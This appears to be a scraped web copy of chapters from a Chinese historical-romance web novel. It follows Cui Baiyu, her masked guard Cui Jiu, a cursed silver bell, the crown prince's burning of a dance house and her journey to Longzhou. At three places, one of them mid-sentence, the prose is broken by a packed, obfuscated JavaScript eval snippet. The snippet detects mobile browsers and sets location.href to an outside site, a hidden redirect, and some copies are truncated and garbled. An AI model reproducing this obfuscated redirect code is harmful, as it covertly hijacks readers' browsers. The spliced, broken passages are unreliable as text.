某些念头一出现,就会像是藤蔓仪般在他的脑海中不受控制的蔓延。崔九低头看着自己的手,上面依稀残留着冰凉的触感,心跳也越来越快。 唯一不知道的就是自己后颈覆上了一片红晕。 第二日清晨,崔白玉还未睡醒,迷迷糊糊地睁开眼,看到一张脸正凑近观察她,倏地睁大眼睛,登时裹着被子从床榻上滚下来。 桃酥:“..........” 这铁定是要挨鞭子了。 崔白玉做了一晚上噩梦,早上起床又受到惊吓,此时坐在饭桌上吃饭,双目无神,有气无力,半死不活的,好似被女鬼吸了精气。 一直不见踪影的桃酥在门口抹了抹眼泪,犹豫许久,进屋扑通一声跪在地上,双手奉上一条鞭子,“........姑娘能不能轻点抽,奴婢不如崔九皮厚。” 崔九闻言只是抬了抬眼睛,不知在想着什么,表情始终很冷淡。 崔白玉掀起眼皮看她,神情无奈至极,“我没有抽人的癖好,谢谢。” 桃酥吸了吸鼻子,默默收回了鞭子,“可之前犯错的丫鬟,姑娘都会拿这条鞭子抽。” 崔白玉喝了一口白粥,气笑了,“你想挨抽?” 桃酥拨浪鼓似地摇了摇头。 崔白玉轻轻叹息了一声,道:“那就把东西扔了。” 她也不是什么锅都背的。 桃酥点头,赶忙起身去了一趟厨房将鞭子扔进灶膛,离开时,注意到旁边的丫鬟和老妈妈一脸恐惧地看着她,心下疑惑。 这群人往日里最喜欢的就是嚼舌根子,上次就是她们说姑娘嫁不出去,今日怎么这般安分? 事出反常必有妖,作为姑娘的贴身丫鬟,一切意外都该防患于未然。 她不能再让姑娘受到一点伤害! 桃酥走近,上前打量着她们,“你们又偷偷摸摸的做什么?” 老妈妈一下变得很紧张,紧紧抿着嘴唇,过了好一会儿,舌头都捋不直了,磕磕绊绊地说:“........老奴正在给,二姑娘准备午饭。” 这就更奇怪了,她不在的这几日,二姑娘不管她们,这群人偷奸耍滑少做了好几顿早饭和晚饭,衣服也不洗,“你们不是只听苏有枝的吗?怎么,想给二姑娘投毒?” 话落,一群人险些跪下来求饶,“老奴怎么敢啊,老奴只是想通了,照顾好二姑娘才是我们最该做的事。” 桃酥哼了一声,又扬声道:“金香呢,走的时候就没看到她,领完月钱就偷跑了?” 老妈妈哭诉道:“这个,老奴不知道啊,她这个人一直都鬼鬼祟祟的,老奴没跟她说过几回话。” 桃酥自知没有把人吓住的威慑力,心中愈发诡异,问了几个问题后,继续盯着人看,然后就注意到了老妈妈脖子青紫色的掐痕,狰狞可怖。 老妈妈身材发福,脖子上堆着赘肉,而那个手掌印蔓延至耳后,由此可知,那人的手有多大。 桃酥从头到脚都冒出了鸡皮疙瘩,咽了咽口水,转身回到春华院,“姑娘,奴婢发现一件大事!” 崔白玉还在兴致缺缺的喝那碗白粥。 桃酥看了一眼崔九,凑到崔白玉耳边小声说道:“姑娘,咱们院里的下人好像被什么人恐吓了。” 崔白玉捏着筷子在每盘菜上面都犹豫了一下,最后实在没什么胃口,就放下了筷子,“怎么了?” 崔九微眯了一下眼睛。 桃酥道:“之前那群人到处说姑娘跟人厮混,现在奴婢一问,她们都改口说不知道。” “那确实奇怪,她们都是苏有枝带出来的人,我对她们不抱什么希望的。”崔白玉勉强用胳膊撑着脑袋,转头看向崔九顿时就明白了。 能把人吓成那样,也就只有他能做到了。 桃酥浑然不觉,看到她眼底淡淡的乌青,“姑娘晚上没睡好吗?需不需要奴婢准备些安神香?” 崔白玉收回目光,闭上眼睛,整个人都变得萎靡不振,痛苦道:“做了一个噩梦,梦里我被一个不知名生物盯一个晚上........” 不知名生物心底泛起一丝的异样感,胸腔里的心脏怦怦直跳。 崔白玉准备回去睡个回笼觉,歪头看向墙角的黑煤球,好奇道:“小白身上缠着的是什么?” 崔九走过去,拎起小白,解下缠在它身上链条,淡声道:“九子银铃。” 桃酥震惊道:“唉呀,这可是姑娘最宝贵的东西了!怎么会在它身上?” 崔白玉缓慢地眨了下眼睛,接过银铃,细细打量一番。 银铃呈球状,顶端有辟邪座环钮,镂刻雅致,四周以掐丝工艺制作成九个诡异的狐狸头,表情各式各样,有哀嚎,恐惧、扭曲、愤怒、惊讶、厌恶......低端系着一周圆形小铃,工艺细巧精美。 这倒是奇怪了,铃铛是有辟邪驱祸,健康平安的寓意,她这个怎么看起来如此瘆人? 崔白玉轻晃一下,银铃发出清脆的声响。 紧接着,脑袋嗡地一声,双腿发软,视线模糊,只感到周遭的一切都在瞬间发生了变化。 崔九扶住她的肩膀,眼中几分森寒的戾气,夺走了她手里的铃铛。 崔白玉额头冒出一层细密的汗,紧紧扒着崔九的手臂,很快又陷入了更为混沌的意识里。 桃酥变得慌乱不安起来,想上前去帮忙,但崔九的眼神太可怕了,她不敢轻易上前,急切道:“姑娘!” 铃铛没了动静。 崔白玉从混沌中抽离出来,恍惚回神,冷汗沿着惨白的面颊滚落下来。 桃酥问道:“姑娘你没事吧?” 崔白玉短暂地愣了一下,意识到自己靠在崔九的怀里,小心翼翼的抬眸看了他一眼,“好像,忽然,没事了。” 崔九一言不发,俯下身,浓密的睫毛遮掩情绪,一手绕过她的肩膀,一手抄过她的膝弯,轻而易举地把人抱起来放在床上。 崔白玉心道:怎么忽然变得这么陌生,这还是生人勿近的崔九吗? 正思索间,一位丫鬟站在门口,“二姑娘,曹怡过来看你了。” 崔白玉嗯了一声,看着崔九手里邪恶的小铃铛,心里隐隐有了猜测,决定先收起来。 可交给谁保管呢? 她好像不能碰那个东西。 崔白玉不经意间对上崔九的目光,“你能帮我收好这个铃铛吗?” 崔九道:“可以。” 桃酥诶了一声,“可是姑娘,那个铃铛是你最宝贵的东西了,之前你一直都是贴身带着,从不离身的。” 崔白玉道:“没关系,我相信崔九。” 信个鬼!要不是他一直盯着那个铃铛,肯定将东西交给桃酥了。 崔九离开屋子,注意到小白又跑到白玉兰树下刨坑,走近一看,发现一条被埋在土里的帕子被小白叼出来。 崔九将帕子捡起来,小白又失去了一个自己心仪的物件,在他腿边来回蹭了几圈。 手帕和铃铛的气味相同,这个铃铛应该是被这条帕子包裹深埋在土里。 为何随身携带的东西,突然埋到这里? 曹怡见到崔白玉,心里有些愧疚,“崔姑娘,最近好些了吗?” 崔白玉道:“本来也没受伤,没事的。” 曹怡叹息道:“其实,我一直想登门拜访的,但父亲身上堆了不少案子,所以就帮着父亲整理了一遍文书,结果一下子就耽误了这么长时间。” 崔白玉抿了一口热茶,由衷夸赞道:“曹姐姐好厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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要不就是价高,要不就是宅子太破,要不是地方太偏,虽说要有取舍,但崔白玉心里盘算了一下,觉得还是不划算。 这会儿临近中午,两人在饭馆用饭,曹怡对她打听消息和套话能力已然是赞不绝口,“崔姑娘,我觉得你太适合做生意了,那个牙子嗓门那么大,还能被你绕进去,你真的好厉害。” 崔白玉道:“其实,我再怎么说也不能把价格压到最低,这些人就是看我们是两个不谙世事女子,铁了心想狠宰一笔,我们得找个凶一点的人撑一下场面。” 曹怡道:“那找谁比较合适?我去府上叫来几个家丁?” 崔白玉神秘一笑,“放心,我已经想好了。” 要说能吓住人,当然是非崔九莫属,毕竟他从出府就一直跟再后面,而且,此时此刻一定在偷听她们谈话,既然他如此不道德,那她适当利用一下应该不是什么大问题。 曹怡愣了一下,见崔白玉卖关子也就没细问,但心下不由对她又多了一层改观,这个人身上有种温吞的侵略气场,她道:“我真好奇,崔姑娘这么聪明的一个人,会喜欢什么样的公子?” 崔白玉懒洋洋道:“合眼缘儿的。” 两人相处的很好,曹怡掩面一笑,实在忍不住了,便直接开口问了,“是方小侯爷那样的吗?” 崔白玉无奈道:“模样是.......但总觉得还差点什么。” 曹怡倒也不是自恋,是她确实有那个资本,从小到大,她所到之处都是人群目光聚集的焦点,几乎没有人会像那个侍卫一样,看都不看她一眼,“那你府上那个侍卫呢?我发现她的目光一直都你身上,感觉他对你过于关注了。” 有那么一瞬间,一道视线几乎将她的脑壳盯穿了,崔白玉后背冒出密密麻麻的冷汗,“.......你看错了。” 曹怡的直觉向来准确,很快,她就精准地捕捉到崔白玉眼神的慌乱,欣喜道:“那你对他是什么感觉?” 避之不及能说吗?崔白玉心塞塞到牙痒痒,欲哭无泪道:“弟弟,我把他当成亲弟弟照顾.......我们两个怎么可能有男女之情呢?” 22. 舞坊 回到饭馆,两人又逛了几个地方便各自回家了。 崔白玉简单地收拾一下自己,写完东西就准备去舞坊。 崔九看到她在纸上涂涂画画,写的都是他不认识的东西,心情变得很烦躁。 当然了,崔白玉是故意的,用毛笔写英文是个极大的挑战,但也是最安全的保密方式,毕竟她在梳理崔九在原著中为女主做过的事。 崔九是男配,所以出场次数不算多。 他大多时候都是在看男女主撒狗粮,然后一个人站在阴暗的角落黯然神伤。 还有一个就是男女主吵架,女主悲伤痛哭的时候,他站在身后默默守护,默默倾听。 而女主一个人外出遭遇危险,他也是站在身后默默守护,为女主挡刀。 一干一个不吱声。 崔白玉心底升起一丝啼笑皆非,咂摸了一下嘴,不由得抬眸看看一眼崔九,嘀咕道:“........活该你没老婆。” 崔九道:“老婆是什么?” 崔白玉抱着忽然蹦到腿上的小白,嘴角绽露出一丝笑意,“不用问,你没有。” 崔九微微蹙眉,沉思不语,过了须臾,还是问道:“什么意思?” 崔白玉挠了挠猫头,一想到他今后可能孤独终老,不厚道地笑出了声,“老婆就是天仙下凡啊!” 崔九手臂的肌肉紧绷了一下,自上而下地俯视着她。 “诶,”崔白玉见他要翻脸,站起身将猫放在床榻上,“这是你问的啊,我也告诉你了,怎么能生气呢?” 戏耍完,人就脚底抹油跑了。 崔九盯着桌上那几张写得乱七八糟的纸,将其烧成了灰烬。 春兰舞坊的牌匾朱漆斑驳,但增添几分历史的厚重感。 晚风袭来,衣带飘飘,崔白玉拢了拢吹乱的头发,拎着裙子走进舞坊。 在宽敞的舞池中央,舞姬们身着绚丽舞服,伴随着丝竹之音袅袅响起,长袖挥舞,莲步轻移,仿若行云流水,一颦一笑拨动心弦。 崔白玉绕过舞池和周围的看客,挑了一个不显眼的地方落座。 然而,没等待上一刻钟,对面忽然围过来几位中年男子,调笑道:“呦,小娘子一个人来这种地方?” 崔白玉抬眸,不动声色的对上他的视线,但笑不语。 “小娘子怎么不说话,哥儿几个把你吓坏了?”男人自顾自地坐到崔白玉的对面,目光掠过她的茶壶笑了一下,“小娘子,这里的舞姬老子都认识,你是新来的?” 崔白玉纠正道:“我不是这里的舞姬,我是这里的客人。” “客人?小娘子,我看你姿色不错,身材也过得去,你要是想在这里做个领舞是没问题的,”男人看她是一个人出门,用极其露骨的视线打量着她,声音放的很轻,“这里的老板娘是老子的姘头,你这样的人我见得多了,要是真想在这混出名堂,你得明白,谁能决定你的命运。” 崔白玉微微冷笑。 男人拎起桌上的茶壶倒茶,且十分熟练的在茶壶口抹上东西,给崔白玉也倒了一盏,“小娘子,这可是关乎你的人生大事,你可得好好考虑考虑。” 崔白玉端起茶杯,好似毫无防备地放在唇边,又忽然放下,“谁是这里的老板娘?” 男子拧着眉头,神情变得有些难看,“这里的老板娘只会听老子的。” 崔白玉微微挑眉,正要作势喝了茶水的时候,下一刻,将茶水全泼到男人的脸上,“你以为你恶心谁呢?” 男人回过神来,抹了一把脸上茶水,握着拳头气愤地砸在桌上,“贱娘们,你找死是不是?” 动静不算太大,舞曲结束,看台下的欢呼声将其完全掩盖。 这纯属是无妄之灾了,崔白玉咬了咬牙,决定把动静闹得大点,不然春兰舞坊的幕后东家没引出来,自己先被人打死了。 哐当一声,一张圆桌被人掀翻在地上,全场霎时安静,所有的目光都望向她。 崔白玉深吸一口气。 人在生气的时候很难保持清醒,所以就更别提眼前这种猥琐又下流,把自己当大爷的蠢货。 果不其然,男人拽着凳子,表情极其狰狞,将椅子狠狠地砸了过去。 崔白玉握紧袖子的刀,退开一步躲了椅子。 在场的众人还未反应过来,男人已然恼羞成怒,让身旁的小弟一起围过去。 崔白玉咽了咽口水,心想:倘若这里的幕后东家不是赵呈,崔九也没有跟在身后.......那这次大抵是玩完了。 舞坊的看客有的怕事已经跑了,剩下的人大抵想要帮忙,但也不敢冲动上前。 安静的气氛没有僵持太久,男人怒火中烧已经冲过去了,崔白玉心下一凉,正准备躺下装死,然后趁其不备给他一刀。 然而,下一刻,咔嚓一声,耳边传来清脆响亮的声响。 崔白玉以为自己的手臂断了,但没有感受到疼痛,睁开眼一看,发现眼前男人的胳膊已一种不可思议的方式停滞。 根据衣服褶皱的判断,好像被拧了一圈........ 崔九的面容隐藏在面具之下,眼神冰冷恐怖,他本来是想杀了这些人,可崔白玉还在,如果赵呈执意追究肯定会殃及到她。 一声惨叫响彻了这个舞坊,崔白玉心里说不上什么滋味,拽着崔九的手腕,赶紧跑出了舞坊。 崔九道:“中午那个人让你来的?” 崔白玉喘了一口气,问道:“是,她想引你出来?” 崔九挑了一下眉,抬起头望向舞坊二楼的一间窗户,“不是,他们的目标是你。” “........不是你和太子有仇吗?”崔白玉小声嘀咕了一句,顺着他的转身也看了过去,心下一惊。 赵呈懒洋洋地倚在栏杆处,微微一笑,眼神却令人莫名寒颤,示意崔白玉上来。 面具下的崔九神情冷若冰霜,目光所到之处像一把匕首,带有强烈的压迫感。 他抬手攥住了崔白玉手腕。 崔白玉知道崔九不能轻易露面,低声安抚道:“你先回去吧,我自己去就好。” 仇人见面分外眼红,她可不敢带着崔九去见太子。 万一场面失控,玩完的一定是她。 崔九松开手。 再回到舞坊,人几乎跑净了,只有血腥味扑面而来,三个家仆打扮的人在地板泼水,冲淡了地面上的血迹。 崔白玉拿帕子捂住口鼻,跟着刘仪上了二楼的楼梯。 到了房间,赵呈没有抬眸看她,一手在桌面上有节律地轻叩,像是在沉思,不知过了多久,他开口道:“崔白玉,孤确实很喜欢你,但你千不该万不该跟孤的敌人扯上关系!” 崔白玉捏了捏手指,没有说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232325|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她原本还不确定那名女子的身份,但此时听赵呈这么说,便确信无疑了。 花枕乃是齐太后豢养的杀手,一举一动皆是太后授意,原著里,赵呈谋反一大部分就是齐太后逼得。 房间陷入一片死寂,赵呈寒声道:“如果你以为当一颗墙头草就可以独善其身,那就想错了。” 墙头草?崔白玉只是想两边都不得罪,何必说的这么难听呢? 确实,在来之前她就知道,春兰舞坊是赵呈建立的情报站,所以她不请自来一定会得罪太子,可要是不来就会得罪齐太后,她能有什么办法? 在暗流涌动的朝局中,谁都不是易与之辈。 沉默许久,赵呈冷笑一声,“孤今日就让你看看,齐太后的弃子是什么下场!” 崔白玉被人拽出屋子,换了个地方。 到了深夜,崔白玉和赵呈站在瞭望台上,眼看着春兰舞坊潜入一批黑衣人后,从火星燃烧成熊熊大火。 崔白玉认出街道上的马车,下意识的扯住赵呈的衣袖,“那是东宫的马车。” 耗费了这么多年的心血毁于一旦,赵呈冷然一笑,抬手抽出了袖子,“孤折了这么多人,她死一个侄女算什么?” 崔白玉愣一下,忽然感觉一切都变得很不真实,一脸惊愕地看着赵呈,“她不是你的妃子?” 原著里,齐文婷虽然是齐太后的人,但她一直为和赵呈打掩护,这点,赵呈也是知道的。 赵呈道:“她是齐家的人,孤怎么可能信她?” 崔白玉太阳穴突突地跳,胃里的酸水一股一股地往上翻涌,她愣愣地看着齐云婷被人扔进火海,好似听见了撕心裂肺的惨叫。 她以为自己可以在这里保持绝对的冷静,然后冷漠的对待这里的所有人。 可事实上,她完全做不到。 这都是活生生的人命。 赵呈的拳头咯咯作响,看着眼前发生的一切,恨不得将齐嬛千刀万剐。 崔白玉直冒虚汗,猛然想起齐文婷在书中是殉情而死。 她改变了原著的剧情。 天边渐渐泛起鱼肚白,崔白玉离开瞭望台的时候已然身心俱疲。 花枕抓住机会,忽然出现在崔白玉身后,凑到她耳边说道:“齐太后派你过去是为了告诉太子,她已经知道了太子的野心和计划,她可以不费吹灰之力,让太子亲手毁了自己的东西,在绝对的权利面前,他没任何反抗的余地,你是聪明人,知道自己该站在哪边。” 是了,赵呈身边都是寒门子弟,这次的威胁恐吓,在生和死之间,身边的谋士如何再尽心尽力? 崔白玉没有回答,脸上的表情很平静,微微侧头,静待她继续说下去。 花枕皱了下眉头,霎时间,感受到背后的杀意,猛然将人推走,躲开了致命一刀。 可尽管如此,她的后背还是被划出了一道血淋淋的口子。 崔九挡在崔白玉面前,犹如一头蓄势待发的野兽。 空气中弥漫着肃杀之气,花枕咬了咬牙,眼珠子一转,状若无事地笑了起来,“护得可真紧,你的人?” 崔九不为所动,只想着如何割下对方的头颅。 崔白玉不合时宜的打断了两人剑拔弩张的对峙,弱弱出声:“.......我们是纯洁的——” 花枕冷哼一声,一脸嫌恶地打断道:“狗男女。” 23. 利用 天光淡淡。 “这世上怎么会有这么天真的小娘子?”花枕漫不经心说,“不想得罪太子,又不想得罪太后,你觉得可能吗?” 崔白玉躲在崔九身后,探头看了一眼,又收回脑袋没说话。 花枕手缓缓伸向腰间的刀柄,面上故作轻松,心里却十分警惕,“小姑娘,你要是真心喜欢太子,就该听我一句劝。” 崔九给她的感觉很熟悉,好似就是那场雨夜想要杀她的人。 面具下的眼神如同淬了冰的深潭,寒意直往外渗,周身散发的杀意愈发浓烈,好似是从地狱爬出的恶鬼,预示着马上要发生一场残暴血腥杀戮。 崔白玉没有否认她那句话,“什么?” 花枕道:“太后不是冷心冷肺之人,太子哪怕犯下大错,太后也不会狠下心伤害他,你要是真想为他好,就该劝劝太子,不要再让他老人家伤心了。” 骗鬼呢你! 崔白玉知道花枕在杀人榜上位列榜首,此时为了活命,已经拽住了崔九的腰封,身子贴得极近,毫不犹豫道:“我答应你,你可以走了!” 花枕挑了一下眉,哦了一声,“你就这么喜欢太子,那旁边这个算什么,姘头?” 崔九本来打算直接动手,听到这,心头有种莫名的情绪,忽然停下了动作。 崔白玉:“....................” 都快死了还想拉上一个垫背的吗? “看来小美人居然处处留情,看来戏弄男人的本事我还远不如你。”花枕趁着这个机会,丢下这句话便消失在街道。 崔白玉懵懂的睁大明亮的双眼,迎上崔九的目光,略微吃惊,只觉背后一阵凉风,“我们回去再说?” 让她在打一会儿腹稿。 崔九握着刀柄的手情不自禁越收越紧,骨节发白,冷冷地看着她,“继续戏弄我?” 与凌厉的视线相撞,崔白玉心底咯噔一下,下意识想要辩驳,结果忽然想起齐文婷的死,欲言又止。 不可否认,她有种兔死狐悲之感。 被自己喜欢信任的人扔进火海,那时的她该多绝望无助。 大家都是见死不救的旁观者,包括她自己,在场的所有人都眼睁睁地看着她被活活烧死。 就像不久的将来,她要一个人面对所有人的审判,然后被处死。 崔白玉怕极了,“如果有一天,你来到一个全然陌生的世界,而这里的所有人都想杀你,你该如何选?” 想来,崔九一定不会回答,然而过了一会而,他忽然开口道:“把他们都杀了。” 那些杀不死他的人,都会成为孤魂野鬼。 这绝对是个披着羊皮的狼!乖戾又偏执。 崔白玉调整了一下呼吸,“我只能说你这个想法很危险,任何人都活下去的权利,你不能乱杀无辜,而且人活一辈子,也不是只有杀戮,难道你就没有想要守护的人和事?” 崔九盯着她的双眼,冷笑一声,半句多余的话也没有。 答案显然是没有了。 崔白玉屏住呼吸,再抬起头,“好,我承认,花枕所言非虚,我是有那个意思,只是还没有实施,但我从没想过要害死一个人,可在你的概念里,就好像没有亲人的感情,所有人都是你的棋子,而我只是你脚下的垫脚石,我们不是一路人,没有必要纠缠在一起。” 分明是些胡言乱语,却犹如实质一般戳中了他,崔九一愣之后,眼中的情绪激动得可怕。 崔白玉心底说不出是失望还是什么别的情绪,低声道:“我知道,春兰舞坊不是赵呈的疏忽而暴露,是你泄露出的信息。” 崔九眉头微微蹙起,冷声道:“那又怎么样?” 他甚至没有问自己是何时发现的,眼里的冷漠和决绝预示着所有的一切他都稳操胜券。 崔白玉觉得浑身如坠冰窟,强装镇定,眼里却氤氲着湿润的雾气,“你知道我什么都改变不了,我对你构不成威胁。” 到了此时,她才明白,和赵呈在明绛酒楼同饮桂花酒的那晚,她回去后暗中派人给赵呈送密信,让赵呈转移春兰舞坊的谋士。 她的本意是防备太后,可没想到这件事让崔九知道,让事情变得跟严重。 不知为何,崔九喉咙发紧,心脏如同被一只无形的大手猛地攥紧,心口一阵强烈的痉挛,连带着每一次吸气都带着尖锐的刺痛。 他好像犯下了再也无法弥补的过错。 崔白玉缓了好一阵,收回视线,将目光移到随风摇曳的垂柳,“我会离开这里,不会再干涉你的事。” 京城的上空的乌云压得很低,仿佛触手可及,压抑的空气憋闷得透不过气,直到天空飘落细密的雨丝。 崔九不知所踪,崔白玉回到崔府,沐浴之后,换上了一身干净的衣服,“桃酥,梳妆台左边的抽屉有五十两银子,你拿着它离开这吧。” 这就不要她了?桃酥心下一惊,怀里的小白险些没抱住,“姑娘要做什么?” 崔白玉揉了揉眉心,叹息道:“我明日就要启程去陇州,那里太危险,你跟着我不安全。” 桃酥震惊道:“姑娘为何突然要去那里?” 崔白玉道:“临时遇到点事。” “可,可姑娘没有奴婢在身边就没人照顾你了?”桃酥见崔白玉一脸认真,才明白她不是在开玩笑,转眼间,眼眶蓄满了泪水,“姑娘还是带着奴婢吧,奴婢跟着姑娘什么危险都不怕的!” 崔白玉收拾行李的手顿了顿,道:“陇州是苦寒之地,与京城相隔千里,山路迢迢,日后要是回京城怕是难了。” 桃酥沉默片刻,还是忍不住哭起来,“可姐姐嫁出去奴婢就没有家了,姑娘能不能带上奴婢?奴婢不想一个人.......” 崔白玉有些犹豫,但还是没松口。 桃酥走到她面前,继续哭诉道:“姑娘,像奴婢这样从出生就被卖给大户人家,身微命贱,除了姐姐,姑娘是第二个对我好的人,奴婢实在不知道离开姑娘,还能去哪?” 说着,人马上就要跪下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240444|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔白玉拉住了她的手臂,无奈道:“行吧,你回去收拾一下。” “真的?”桃酥登时转悲为喜,擦掉脸上泪珠,将小白塞进了崔白玉手里,“奴婢的行李的不多,还是先帮姑娘收拾吧。” 折腾一晚上,崔白玉的脸色并不好看,也没什么精力收拾东西。 她给桃酥挪了地方。 桃酥吸了吸鼻子,拿出包袱里收拾好的衣服,破破涕为笑,“姑娘明知道陇州是苦寒之地,还只带单薄的裙子,这要是姑娘真到那里,铁定会被冻坏。” 崔白玉轻笑一声,躺在床榻上准备眯一会儿,“桃酥,一个时辰后叫我。” 桃酥嗯了一声,放轻动作继续收拾。 过了一会儿,崔白玉翻了个身,不下心压到了小白的尾巴。 小白惨叫一声,没能将崔白玉吵醒,开始拿爪子乱刨被子。 桃酥憋笑一阵,走到榻前过去帮它。 之后大约了过了一个时辰,雨过天晴,桃酥准备好午饭,叫醒了崔白玉,“姑娘,到时辰了。” 崔白玉半死不活地坐起身,窗外明媚的阳光映照在她精致的五官上,好似是给她渡上一层柔光,但也不显违和。 桃酥帮着她整理了一下头发,问道:“姑娘,出门的行李都收拾好了,还需要带什么吗?” 崔白玉咬着箸头,思绪渐渐活络起来,“多带些钱和衣物就好,马车不用找了。” 桃酥道:“姑娘是有同行的人?” 崔白玉道:“七皇子,赵辛。” “啊!”桃酥下意识惊呼一声,“姑娘为何会跟七殿下一起同行?” “这件事说来话长,等下次有机会我再和你说,”崔白玉想了想,“先备马车,我一会儿要去趟皇宫。” 话落,桃酥愣了许久,磕磕绊绊的说:“姑娘,你这是犯事了?” 崔白玉冷笑一声,沉吟片刻后开口,“现在后悔也晚了。” “奴婢不后悔,奴婢就是有点反应不过来,不明白姑娘为何会和皇亲国戚扯上关系?”桃酥顿了顿,“那崔九还跟着吗?” 崔白玉道:“不会。” 崔九一心复仇,肯定不会在她身上浪费时间了。 桃酥小声问道:“姑娘和他吵架?” 崔白玉觉得自己甚是无辜,道:“你看我有那个胆子吗?我不过就是多说了几句。” 然后就被崔九狠狠地瞪了她一眼,不见了踪迹。 上次两人传出流言,桃酥就看崔九不顺眼了,她添油加醋道:“姑娘不必怕,他不过是苏有枝养的野狗,等郎主回来一定不会让他好过的。” 崔白玉敷衍地点了一下头。 桃酥好奇道:“姑娘为何不重新找个侍卫呢?崔九跟在苏有枝身边那么长时间,肯定胳膊肘往外拐,重新找一个也比他靠谱些。” 崔白玉装作惋惜诶了一声,“不提了,先吃饭。” 桃酥点了下一头,须臾,想起一件大事,“对了姑娘,适才方小侯爷找你来着,找你有要事商议!” 24. 启程 都这个时候了,方叙言来找她做什么? 崔白玉长叹一口气,默默把账簿放回原处,“一会儿安排个人回信吧。” 按照人品来想,应该是雪中送炭的,但应该是见不到了。 桃酥点了一下头,崔白玉拿着扇子往外走,等到了院门口,在桥头瞥见一道熟悉的背影,不由得笑了一下,“方小侯爷?” 方叙言不知在门口等了多久,转身看见她,眼神闪过一丝亮光,“崔姑娘这是要出远门?” 崔府门口停着一辆马车,应该是太后安排的。 崔白玉收回目光,嗯了一声,走上前去,温声道:“小侯爷一直在这?” 话犹未落,方叙言悄悄红了耳朵,握拳抵在唇边,干咳一声,“没有耽误多长时间,这里风景挺好的,适合想事情。” 家门口有什么好看的?崔白玉低头笑了笑,侧身瞧了一眼桥头,“方小侯爷当真是个有趣的人。” 河道上,纤夫牵引绳索,船夫摇橹划船,井然有序的穿过桥洞,而街道上摩肩接踵,入目皆是一片繁华的景象。 桃酥将收拾好的东西搬上马车,方叙言走了几步,帮她搬了一个箱子,问道:“是发生了什么事吗?” 崔白玉没有回答这个问题,注意到车夫看过来,淡声道:“我要去趟陇州,小侯爷找我有什么事吗?” 方叙言微微蹙起眉头,“陇州最近发生了几场民变,很不安全,你定要去吗?” 崔白玉是个善于观察的人,即便刻意掩饰,她也能从方叙言的脸上看出情绪变化,“不必担心,只是去探亲。” 方叙言道:“我派几个人跟着你。” 本来就是夹缝生存,哪还敢在让人插手?崔白玉好似不经意的环顾四周,没有感受到古怪的视线,松了一口气,低声道:“不用,崔九武艺高强,有他一个人就足够了。” 还好早上把人气走了,要不然被崔九听见,她可以直接就跳进江里了。 方叙言还是有些不放心,可也不好擅自插手她的事。 崔白玉笑了一下,“那小侯爷为何来寻我?” 方叙言表情微微松动,对上她的目光,心跳不自觉的加快,“我本来是想邀你来.......邀你来参加妹妹及笄,她想和你交个朋友。” 崔白玉不可置信地看着他,沉默半晌,道:“这次恐怕是不行了,下次吧。” 这京城还有想和她交朋友的? 方叙言这回没说什么,解下腰间的玉佩递给她,“这玉佩你戴在身上,或许能帮助你。” 这块玉佩质地温润细腻,是上乘的羊脂白玉,色如凝脂,洁白无瑕,上面的雕刻着繁复的莲花图案,花瓣层层叠叠,每一道刻痕都精致入微,栩栩如生。 崔白玉眼下最需要的就是保命的东西,当然不会拒绝了,可这玉佩是随身之物,她收下会不会不太好? 犹豫了一下,还是抬手接过玉佩,而就在那一瞬间的触碰,她好似感受到凌厉的目光,仿佛下一秒就要将她生吞活剥,但这一感觉转瞬即逝,崔白玉只当自己没休息好,“那我就收下了。” 方叙言没有再多说什么,目送着崔白玉的马车离开。 曹怡心情复杂,走到他身边,无奈叹了口气,“那不是母亲留给你的东西吗?” 两人都在书院长大,几乎每日都会在学堂相见,她知道这莲花玉佩方叙言每日都会戴在身上,从不离身,哪怕是有一点磕碰都不行,珍视得很。 方叙言道:“能帮上她就好。” 好一个能帮上就好。 曹怡默默紧了紧手指,酸涩和苦楚如同决堤的洪水一波又一波涌上心头,良久,她缓缓开口,“同窗这么多年,我还是第一次见小侯爷面对女子不知所措。” 以往女子向他表白,方叙言始终都是一副是不为所动的神情,淡漠又疏离,仿若遗世独立,从未有人打破他拒人于千里之外的气场。 这次,终归是不一样了。 方叙言回眸看她,笑了笑,“第一次,在所难免。” “三十年河东三十年河西,小侯爷能遇见喜欢的人,我作为朋友应该恭贺的,但.......”曹怡目光追随着他,心也跟着微微颤动,眼前的人明明近在咫尺,却觉也遥不可及,“但我还是要多说一句,如果她只是表面文文弱弱的性子,太后不会盯上她。” 方叙言“嗯”了一声,问道:“何意?” 曹怡紧张得手指都在微微颤抖,深吸一口气,“........她和齐太后是一类人。” 方叙言知晓曹怡的为人,所以没有生气,“那你觉得齐太后如何?” 曹怡一愣,脑海中很快就浮现出答案。 齐嬛善于伪装,心狠手辣,手段之强硬冷酷,一旦上位成功就会对昔日落败的敌人进行残酷的报复,而最令人担忧的就是她野心庞大,妄图临朝称制。 “我和你的感觉不一样,她是一个很善良温婉的女孩,也很有胆识,”方叙言停顿了一下,“只是偶尔撒点小慌。” 崔白玉的马车刚到神武大街,就停了下来。 桃酥觉得奇怪,掀开帘子一看,正好就瞧见马车旁站着一个小孩子。 